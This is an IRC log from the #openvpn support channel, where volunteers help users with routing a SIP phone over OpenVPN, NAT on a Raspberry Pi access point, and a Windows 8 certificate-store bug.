01:51 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
01:55 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:59 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
01:59 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
02:00 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
02:02 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
02:02 -!- mode/#openvpn [+o krzee] by ChanServ
02:03 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
02:09 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:09 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:12 -!- halcyon_ [~halcyon@cpe-72-181-253-113.tx.res.rr.com] has joined #openvpn
02:16 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 268 seconds]
02:16 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has quit [Read error: Operation timed out]
02:19 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has joined #openvpn
02:28 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 246 seconds]
02:28 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
02:30 -!- halcyon_ [~halcyon@cpe-72-181-253-113.tx.res.rr.com] has quit [Quit: Ping timeout: 221 seconds]
02:50 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
02:50 -!- ade_b [~Ade@193.202.255.218] has joined #openvpn
02:50 -!- ade_b [~Ade@193.202.255.218] has quit [Changing host]
02:50 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:52 -!- nutcase_ [~nutcase@ir0nic.com] has joined #openvpn
02:53 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-slxawaewtxqqgmkp] has joined #openvpn
02:54 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
02:56 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
02:56 -!- JackWinter_ [~jack@85.93.204.38] has quit [Remote host closed the connection]
02:56 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
02:56 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-zoijetxkeebzqlib] has quit [Ping timeout: 240 seconds]
02:56 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
02:56 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
02:56 -!- Ziber [~Liber@liber.in] has quit [Ping timeout: 240 seconds]
02:56 -!- Ziber [~Liber@liber.in] has joined #openvpn
02:56 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
02:56 -!- jgeboski- is now known as jgeboski
02:57 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
02:57 -!- mode/#openvpn [+o krzee] by ChanServ
03:02 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:15 -!- dazo_afk is now known as dazo
03:36 -!- tapout is now known as tapout__________
03:52 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
03:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:57 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
04:00 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
04:01 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
04:01 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
04:05 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 252 seconds]
04:07 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
04:11 -!- lbft_ [~lbft@unaffiliated/lbft] has joined #openvpn
04:12 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
04:12 -!- dandy [~dandy@2a01:360:106::2] has quit [Ping timeout: 240 seconds]
04:12 -!- dandy [~dandy@2a01:360:106::2] has joined #openvpn
04:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
04:12 -!- lbft_ is now known as lbft
04:12 -!- aegis [~aegis@184.75.212.34] has quit [K-Lined]
04:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
04:16 -!- mode/#openvpn [+o krzee] by ChanServ
04:22 -!- valent [~valent@unaffiliated/valent] has joined #openvpn
04:41 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 244 seconds]
04:42 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
04:44 -!- ocharles [ocharles@2a01:7e00::f03c:91ff:fe69:ec30] has joined #openvpn
04:46 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
04:46 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
04:46 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
04:52 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
04:53 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
04:57 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
04:58 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
04:59 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
05:26 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 268 seconds]
06:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:11 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
06:13 -!- maskedlua_ is now known as maskedlua
06:14 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:43 -!- mrrcp [~mrrcp@romanparish.net] has joined #openvpn
06:44 < mrrcp> hello
06:44 < mrrcp> openvpn withs fine with web browser but does not tunnel my application traffic?
06:44 < mrrcp> any ideas how or why?
06:45 -!- ocharles [ocharles@2a01:7e00::f03c:91ff:fe69:ec30] has left #openvpn ["ERC Version 5.3 (IRC client for Emacs)"]
06:53 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:59 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
07:17 -!- lnb [~lnb@CPE0002b3c8018e-CM602ad06bec2f.cpe.net.cable.rogers.com] has joined #openvpn
07:18 < lnb> have openvpn on server set up, ifconfig shows tun0 with 10.8.0.1. At remote office, behind PF firewall, have sip phone trying to get to vpn but can't.
07:19 < lnb> does the firewall server here at local office have to do something to get sip registration to go to remote server ?
07:23 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
07:24 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
07:26 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:27 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Connection reset by peer]
07:34 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 252 seconds]
07:38 < Thermi> lnb: Routing is okay?
07:38 < Thermi> lnb: Routing is okay?
07:38 -!- takamichi [~takamichi@85.12.8.14] has joined #openvpn
07:39 < lnb> i am not sure what or where the problem is
07:39 < Thermi> well, can you communicate at all over the tunnel?
07:39 < lnb> i am doing a tcpdump now to see
07:40 < lnb> no
07:40 < Thermi> Not just between the gateways, but also between the boxes
07:40 < Thermi> well, do you have ip_forwarding active?
07:40 < Thermi> Probably not
07:40 < Thermi> also you might need to set static routes on your routers
07:40 < lnb> on the local pf firewall the forwarding is inbound from public -> private
07:41 < Thermi> so the box your pf firewall is running on is also running the openvpn server?
07:41 < lnb> its like this: sip phone (trying to get to openvpn) -> workstation -> PF Firewall server -> internet
07:41 < lnb> no
07:42 < Thermi> it's a third party box?
07:42 < lnb> openvpn server is remote
07:42 < Thermi> or a third box in generall?
07:42 < lnb> no its ours too
07:42 < lnb> let me show you..
07:42 < Thermi> you need to set a route to the remote subnet to go over the OpenVPN server
07:42 < lnb> its like this: sip phone (trying to get to openvpn) -> workstation -> PF Firewall server -> internet -> openvpn server
07:42 < Thermi> e.g.: ip route add <your remote subnet with the sip phone> via <openvpn server in your own subnet>
07:42 < Thermi> ah
07:43 < Thermi> well yes, you need to forward SIP traffic into your LAN
07:43 < lnb> openvpn is not in my subnet
07:43 < Thermi> I don't know what setting it is, but it's an issue
07:43 < Thermi> there are probably helper services/rules available for PF
07:45 < lnb> on the remote server which is running openvpn, tun0  inet addr:10.8.0.1  P-t-P:10.8.0.2  Mask:255.255.255.255
07:45 < Thermi> lnb: The SIP server, where is it running? a remote subnet with a private IP-space by itself?
07:45 < Thermi> You need routes between the two places, or it won't work
07:45 < lnb> in my sip host config i have 10.8.0.2
07:45 < lnb> ok
07:46 < Thermi> yes, but does your phone know how to reach that IP?
07:46 < lnb> you know what the syntax is
07:46 < lnb> thats what i figured
07:46 < lnb> but in the vpn.cnf it has the routable ip address of the vpn server
07:46 < lnb> vpn.cnf is file that the sip phone needs
07:46 < Thermi> I'm sorry, are you referring to the SIP config or the OpenVPN config you're meaning?
07:47 < lnb> its really client.conf
07:47 < lnb> client.conf = vpn.cnf
07:47 < Thermi> !routing
07:47 < lnb> the sip phone needs the file to be named vpn.cnf
07:48 < lnb> on the openvpn server, its has normal server.conf
07:48 < Thermi> so your sip phone can do openvpn? o.O
07:48 < Thermi> I mean it has OpenVPN integrated?
07:49 < lnb> i have no idea what the yealink phone uses for vpn
07:49 < Thermi> I guess this is what the abstract network layout looks like:
07:49 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
07:49 < lnb> and if i put the routable ip address in the sip server field, sure it connects but not via vpn
07:49 < Thermi> SIP phone <-> workstation <-> firewall <-> Internet <-> OpenVPN server == OpenVPN tunnel == OpenVPN server <-> SIP Gateway
07:50 < lnb> you mean i need two openvpn servers?
07:50 < Thermi> well, I don't know
07:50 < Thermi> does your phone connect via VPN to the server?
07:50 < Thermi> what SIP phone do you use?
07:50 < lnb> its supposed to be able to
07:50 < Thermi> Ah, okay
07:50 < lnb> yealink t22p
07:51 < Thermi> I think it's basicly an abstract routing problem
07:51 < Thermi> you need to push a route to the SIP gateway from your OpenVPN server to the SIP phone
07:52 < Thermi> The OpenVPN server knows how to reach the SIP gateway I suppose
07:53 < Thermi> you need to enable IP forwarding on the OpenVPN server between tun0 and whatever interface the SIP gateway is reachable over
07:53 < Thermi> Also you need to know if the SIP gateway already knows how to reach your SIP phone
07:54 < Thermi> If it doesn't, you need to set a static route up from the SIP gateway over the OpenVPN server
07:54 < Thermi> to the SIP phone's IP or address space in generall
07:55 < lnb> i presume openvpn can reach my network here
07:55 < Thermi> Test it.
07:55 < lnb> you mean ping it?
07:55 < lnb> i am ssh'd to it :)
07:56 < Thermi> Good.
07:56 < lnb> it has public and private ip's
07:56 < Thermi> Can your SIP gateway do it?
07:56 < lnb> i can sip to its public ip yes
07:56 < lnb> but not to 10.8.0.2
07:56 < lnb> which is a non routable ip address
07:56 < Thermi> Yes, not publicly routable
07:56 < Thermi> but you don't care. :P
07:57 < Thermi> You can route it in your two private subnets
07:57 < lnb> i have another openvpn on windows here to another client of ours
07:57 < Thermi> Now I'm really confused.
07:57 < lnb> and it works like a charm
07:57 < lnb> ok
07:57 < lnb> sorry
07:57 < lnb> i have many boxes here
07:58 < lnb> some are vm's and some non vm's
07:58 < Thermi> Okay, I assume you have an OpenVPN server in the internet. It has two tunnels. One to the SIP phone and one to the network of the SIP gateway. Is that correct?
07:58 < lnb> on one vm, which is win7, i have openvpn for windows on it. it connects to a clients server without any issue at all
07:59 < lnb> so i looked at the client config and its about the same as the config in the sip phone
07:59 < lnb> of course the ip addresses are different
07:59 < lnb> same with the server.conf
07:59 < lnb> on both servers
07:59 < lnb> very simillar
07:59 < lnb> when i look at a tcpdump
07:59 < lnb> here
08:00 -!- elfixit [~Icedove@213.144.157.68] has joined #openvpn
08:00 < lnb> Via: SIP/2.0/UDP 1REGISTER sip:10.8.0.1:5060 SIP/2.0
08:00 < lnb> well it can't
08:00 < lnb> that is a non routable ip
08:00 < Thermi> what IP does the SIP gateway have?
08:01 < lnb> so it looks like the phone itself is not using its vpn stuff
08:01 < lnb> 107.6.51.127
08:01 < lnb> and that ip is in the vpn.cnf
08:02 < lnb> which is where one puts the .tar file and enables VPN on the sip phone
08:02 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
08:02 < Thermi> Okay, what IP does your OpenVPN server have your SIP phone connects to?
08:02 < lnb> i have a pdf from yealink showing how, but it ain't working
08:02 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 240 seconds]
08:02 < lnb> openvpn has the ip i just showed you + 10.8.0.1
08:03 < lnb> like eth0 = the .127
08:03 < lnb> and tun0 has 10.8.0.1
08:03 < Thermi> In what network is it in? Internet?
08:03 -!- [1]jtholt [~jtholt@71-88-42-6.dhcp.nwtn.ct.charter.com] has joined #openvpn
08:03 < lnb> on our remote server
08:03 < lnb> the openvpn/SIP server
08:04 -!- ade_b [~Ade@193.202.255.218] has joined #openvpn
08:04 -!- ade_b [~Ade@193.202.255.218] has quit [Changing host]
08:04 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:04 < Thermi> The SIP Gateway and the OpenVPN server are the same box?
08:04 -!- jtholt [~jtholt@71-88-42-6.dhcp.nwtn.ct.charter.com] has quit [Ping timeout: 252 seconds]
08:04 -!- [1]jtholt is now known as jtholt
08:05 < lnb> sip server = 107.6.51.127 + 10.8.0.1  local network = 99.238.64.55
08:05 < lnb> sip phone is behind 99.238...
08:06 < Thermi> Okay and it is supposed to connecto the the OpenVPN server and get an 10.8.0.x IP?
08:06 -!- takamichi [~takamichi@85.12.8.14] has quit [Ping timeout: 272 seconds]
08:07 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
08:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:08 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
08:10 < lnb> yes
08:10 < lnb> exactly
08:10 < Thermi> !ip_forwarding
08:10 < Thermi> !ipforwarding
08:11 < Thermi> god damnit.
08:11 < Thermi> !help
08:11 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
08:11 < Thermi> !commands
08:11 < Thermi> Basicly you have to enable iP_forwarding on the server and that should be it
08:11 < Thermi> and push a route to your SIP gateway to the client
08:16 < lnb> so i need to add a push in server.conf ?
08:16 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
08:16 < Thermi> yes, I think so
08:17 < lnb> in server.conf on the openvpn server i have:
08:18 < lnb> server 10.8.0.0 255.255.255.0
08:18 < lnb> is that correct or not
08:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
08:20 < Thermi> I'm sorry, I haven't worked a long time with OpenVPN. let me look it up
08:22 < Thermi> Yes, it's correct
08:24 < lnb> server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100 ?
08:24 < lnb> where would i do a push to my local system?
08:25 < Thermi> Sorry, but what client has 10.8.0.4?
08:25 < lnb> no
08:25 < lnb> that is for dev tap
08:26 < Thermi> ah, okay.
08:26 < Thermi> the last one is better
08:26 < Thermi> server-bridge
08:26 < lnb> that is only for tap
08:27 < lnb> looking at the openvpn server i can connect to (not for sip), there is no bridging
08:27 < lnb> port 1194
08:27 < lnb> dev tun
08:27 < Thermi> you have to do the bridging yourself
08:27 < Thermi> with brctl on Linux
08:28 < lnb> well the other working openvpn is on FreeBSD Server
08:28 < lnb> the sip server is CentOS
08:30 < Thermi> That's not important.
08:31 < Thermi> you need to enable Ip forwarding, like I said. Then permit the traffic in iptables, if it isn't already
08:31 < lnb> so i have to setup bridge on linux sip server
08:31 < Thermi> You don't need to
08:31 < Thermi> you can also do routing
08:31 < lnb> how can i see if ip forwarding is on?
08:31 < lnb> sysctl -a ?
08:32 < lnb> net.ipv4.conf.tun0.forwarding = 1
08:32 < Thermi> sysctl -A | grep forwarding
08:32 < Thermi> and your ethernet interface?
08:32 < dandy> !nat
08:32 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
08:32 < lnb> net.ipv4.conf.eth0.forwarding = 1
08:32 < Thermi> no NAT.
08:32 < Thermi> Routing works, too
08:33 < Thermi> Put a route to your sip phone over your openvpn server's LAN side IP
08:33 < Thermi> and put that route on your SIP gateway
08:33 < lnb> how?
08:33 < dandy> sorry, that was for me lol im setting up nat lol
08:33 < Thermi> well, you can use the "ip" tool
08:33 < dandy> !linnat
08:33 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
08:34 < Thermi> but if you want to make the route persistent, you need to use your distribution's network configuration framework
08:35 < lnb> but like i said, in the sip phone, the conf file has the public IP of the sip server
08:36 < lnb> so it should be contacting the sip server, but it looks like its not
08:36 < Thermi> the VPN should go up first
08:37 < Thermi> and then the phone connect to it
08:38 <@dazo> !factoids
08:38 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
08:38 <@dazo> Thermi: ^^^ that'll help you ;-)
08:38 < Thermi> I don't think so.
08:38 < Thermi> It's just difficult advicing people over chat.
08:38 < Thermi> I have to go, sorry.
08:39 < Thermi> Look at the "ifconfig" and "ifconfig-pool" directives
08:39 < Thermi> and push "route"
08:39 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
08:41 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 272 seconds]
08:43 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:45 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
08:46 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:50 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has quit [Ping timeout: 260 seconds]
08:51 -!- grimeton [~ruth@2a01:4f8:160:41e3:0:dead:beef:cafe] has joined #openvpn
08:56 -!- michaelhart [~michaelha@192.237.177.15] has joined #openvpn
09:09 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
09:14 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
09:14 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:20 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
09:23 -!- dox [~dox@doxinho.com] has left #openvpn ["Textual IRC Client: http://www.textualapp.com/"]
09:25 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
09:28 -!- mrrcp [~mrrcp@romanparish.net] has quit [Quit: leaving]
10:00 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
10:06 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
10:08 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:08 -!- mode/#openvpn [+o krzee] by ChanServ
10:16 -!- crus [~crusader@crus0r.soho.on.net] has quit [Read error: Connection reset by peer]
10:26 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
10:35 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:50 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
10:52 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
10:53 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:08 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:18 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:20 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
11:20 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
11:20 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:24 -!- mappo [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
11:27 -!- u0m3 [~u0m3@109.96.175.232] has joined #openvpn
11:30 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
11:39 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 244 seconds]
11:39 -!- AginLap [~AginLap@tsn77-247-182-241.dyn.nltelcom.net] has joined #openvpn
11:40 -!- napoleonwilson [~napoleonw@host-83-146-10-5.dslgb.com] has joined #openvpn
11:42 < napoleonwilson> ive just set up a second router to run openvpn as a client but when i start the connection the wifi cuts out
11:44 < napoleonwilson> im using a raspberry pi connected to a router via ethernet and a wifi card configured as a wifi access point
11:45 < napoleonwilson> when i start the openvpn connection on the pi the traffic from wlan0 isnt getting routed thru the vpn
11:46 < Thermi> What Wifi cuts out?
11:46 < Thermi> the one that connects the Pi to the internet or what do you mean?
11:46 < napoleonwilson> im connected to the raspberry pi as a second router via wifi
11:46 < Thermi> are you using redirect-gateway?
11:46 < napoleonwilson> i have created 2 wifi access points - my normal router and the pi as a second router
11:47 < napoleonwilson> yes the openvpn server pushes redirect gateway
11:47 < Thermi> there are two options to it
11:47 < Thermi> take a look at them, they might solve your problem
11:48 < napoleonwilson> i think its an iptables issue
11:49 < napoleonwilson> at the moment i have this in my iptables
11:49 < napoleonwilson> iptables -P FORWARD ACCEPT
11:49 < napoleonwilson> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
11:50 < napoleonwilson> that passes the traffic from wlan0 to eth0
11:50 < napoleonwilson> but when i start the openvpn connection the route no longer works
11:51 < Thermi> What route are you talking about?
11:51 < napoleonwilson> i connect to wlan0 as an access point and the traffic is forward to eth0 and then to the router
11:51 < napoleonwilson> on the pi
11:52 < napoleonwilson> trying to create an openvpn connection on the pi on eth0
11:52 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:52 < napoleonwilson> and then when you connect to the access point on the pi on wlan0 the traffic should get forward to eth0 and over the vpn
11:53 < Thermi> How do you judge, that the Wifi went down? Does it really break down or doesn't any traffic reach the inernet?
11:53 < Thermi> To do that later, you need to change that rule to -o tun0 or tap0
11:53 < napoleonwilson> traffic doesnt reach the internet
11:53 < napoleonwilson> ok so change the rule to point to tun0 and not eth0
11:54 < napoleonwilson> when connected to the vpn
11:54 < napoleonwilson> iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
11:54 < Thermi> you can do it better, if you have control of the openVPN server the PI connects to
11:54 < napoleonwilson> like that
11:54 < Thermi> just put the rule on its side
11:54 < napoleonwilson> no control over the server
11:54 < Thermi> damn, okay.
11:54 < napoleonwilson> free server
11:54 < Thermi> free as in no cost for you?=
11:55 < napoleonwilson> yes free as in free beer
11:55 < napoleonwilson> http://www.vpnbook.com/freevpn
11:55 <@vpnHelper> Title: Free VPN Accounts 100% Free PPTP and OpenVPN Service (at www.vpnbook.com)
11:55 < Thermi> Hm, I wouldn't trust that. :D
11:55 < napoleonwilson> im only using it to unblock hulu
11:55 < Thermi> god damn
11:55 < Thermi> so many flaws already in the web presence
11:55 < Thermi> that's not safe. :<
11:56 <@EugeneKay> Safe? Pffft.
11:56 <@EugeneKay> Safety is for people with money
11:56 < Thermi> Well, I do.
11:56 < napoleonwilson> im safe i have my tin foil hat on
11:56 < napoleonwilson> protects me from aliens and the nsa
11:57 < Thermi> I have my hatred for america with me at all times
11:57 < Thermi> sorry, just american politicians
11:57 < Thermi> Not the continent itself.
11:57 < napoleonwilson> some of the british ones are just as nuts
11:58 < napoleonwilson> so i should change my iptables to route traffic to tun0 and not eth0
11:59 < napoleonwilson> ill give it a go know
11:59 < napoleonwilson> now
12:00 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
12:02 < napoleonwilson> Thermi genuis
12:02 < Thermi> works?
12:02 < napoleonwilson> i know have the raspberry pi connected over the vpn
12:02 < napoleonwilson> yes Thermi
12:02 < Thermi> and it doesn't route traffic, napoleonwilson
12:02 < napoleonwilson> it works bruv
12:02 < Thermi> The stuff in front of the masquerade is a filter
12:03 < napoleonwilson> i have a us ip address
12:03 < Thermi> so only stuff going out of tun0 gets masqueraded
12:03 < napoleonwilson> just going to try hulu in xbmc
12:04 < Thermi> Praise the god (me)
12:04 < Thermi> SCNR
12:04 < napoleonwilson> ill set up a small shrine in your honor
12:04 < Thermi> Thank you.
12:04 < Thermi> followers++;
12:05 < napoleonwilson> just checking if daily show works
12:05 < rob0> Thou shalt have no gods before jamesyonan
12:07 < napoleonwilson> bugger not working in xbmc
12:07 < napoleonwilson> i get us ip address in the browser
12:07 < napoleonwilson> but in xbmc i get the ip and gateway of the pi
12:08 < napoleonwilson> but the connection isnt going over the vpn connection
12:08 < Thermi> you need to route it
12:08 < Thermi> ip route add 127.0.0.0 via <pi IP>
12:09 < Thermi> sorry
12:09 < Thermi> 0.0.0.127
12:09 < Thermi> I think that will work
12:09 < napoleonwilson> ip route add 0.0.0.127 via 192.168.1.6
12:10 < napoleonwilson> add that route on the device connected to the pi you mean
12:10 < Thermi> on your xbmc box
12:10 < rob0> huh? 127.0.0.0/8 is loopback ...
12:10 < rob0> 0.0.0.127 ?
12:11 < rob0> 0.0.0.0/8 is reserved
12:11 < Thermi> yep
12:11 < napoleonwilson> cant add route as xbmc is running on ipad or nexus 7
12:11 < Thermi> 0.0.0.0 basicly means "default route" as any other IP in the 0.0.0.0/8 space
12:11 < Thermi> napoleonwilson: terminal emulator and  root access
12:11 < Thermi> :P
12:12 < napoleonwilson> ah
12:12 < Thermi> but we don't want to overwrite the default gateway
12:12 < Thermi> but
12:12 < napoleonwilson> i have a jailbroken ipad
12:12 < Thermi> maybe you do
12:12 < Thermi> depends.
12:12 < Thermi> btw, openVPN pushes a similiar route to clients, when you push redirect-gateway
12:12 < rob0> 0.0.0.0/0 is the default route
12:12 < Thermi> eeexactly
12:13 < rob0> What do you think 0.0.0.127/32 would do?
12:13 < napoleonwilson> so i need to add this route to device running xbmc connect to the pi - ip route add 0.0.0.127 via 192.168.1.6
12:13 < Thermi> redirect the traffic to the box whose IP is in the via field
12:14 < Thermi> take a look at your routing tables, when you use redirect-gateway
12:14 < napoleonwilson> im using tablets so not that easy
12:15 < napoleonwilson> so install terminal emulator on ipad and add new ip route
12:15 < Thermi> you can only manipulate the routing table, if you have root or network privileges
12:15 < Thermi> I have no idea how they are called properly
12:16 < napoleonwilson> got you
12:21 -!- ade_b [~Ade@80.72.60.32] has joined #openvpn
12:21 -!- ade_b [~Ade@80.72.60.32] has quit [Changing host]
12:21 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:28 -!- Zep [~IceChat9@546BD885.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
12:29 < Zep> !welcome
12:29 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
12:29 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:30 < Zep> !goal
12:30 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:31 < Zep> !goal test
12:31 < Zep> !goal
12:31 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:33 < Zep> I want to load the public and private keypair for OpenVPN to use from the Windows key store using 'cryptoapicert' (client-side).
12:33 < Zep> When I try this on Windows 7, Vista or XP, everything works OK.
12:34 < Zep> Under Windows 8, I get this error (same configuration, same error):
12:34 < Zep> https://community.openvpn.net/openvpn/ticket/331
12:34 <@vpnHelper> Title: #331 (Windows 8 and 'cryptoapicert' does not work.) – OpenVPN Community (at community.openvpn.net)
12:34 < Zep> Are there any more steps I can take to test this issue, so I can provide the bug report with extra information?
